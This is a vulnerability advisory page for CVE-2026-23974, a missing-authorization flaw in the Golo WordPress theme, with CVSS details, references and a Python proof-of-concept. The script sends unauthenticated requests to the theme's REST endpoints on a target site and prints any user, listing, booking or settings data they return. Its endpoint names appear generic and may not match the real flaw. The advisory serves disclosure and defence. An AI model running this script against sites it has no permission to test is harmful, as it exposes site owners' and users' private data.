CVE-2026-23974

Description

Missing Authorization vulnerability in uxper Golo golo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Golo: from n/a through < 1.7.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Golo Theme < 1.7.5

Golo Theme from n/a through < 1.7.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-23974 PoC - Golo Theme Authorization Bypass
# Affected: Golo Theme < 1.7.5

import requests
import sys

TARGET_URL = "http://target-site.com"
VULN_ENDPOINT = "/wp-json/golo/v1/"

def check_vulnerability():
    """Check if target is vulnerable to CVE-2026-23974"""
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-23974-PoC)"
    }
    
    # Test unauthorized access to protected endpoint
    endpoints_to_test = [
        "users",
        "listings",
        "bookings",
        "settings"
    ]
    
    print("[*] Testing for Missing Authorization vulnerability...")
    
    for endpoint in endpoints_to_test:
        url = f"{TARGET_URL}{VULN_ENDPOINT}{endpoint}"
        try:
            response = requests.get(url, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] VULNERABLE: {endpoint} - No auth required")
                print(f"    Status: {response.status_code}")
                print(f"    Response: {response.text[:200]}...")
            elif response.status_code == 401 or response.status_code == 403:
                print(f"[-] Protected: {endpoint} - Requires authorization")
            else:
                print(f"[*] Unknown: {endpoint} - Status {response.status_code}")
        except requests.RequestException as e:
            print(f"[!] Error testing {endpoint}: {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_URL = sys.argv[1]
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23974
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23974
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23974/
[4] VulDB https://vuldb.com/cve/CVE-2026-23974
[5] https://patchstack.com/database/Wordpress/Theme/golo/vulnerability/wordpress-golo-theme-1-7-5-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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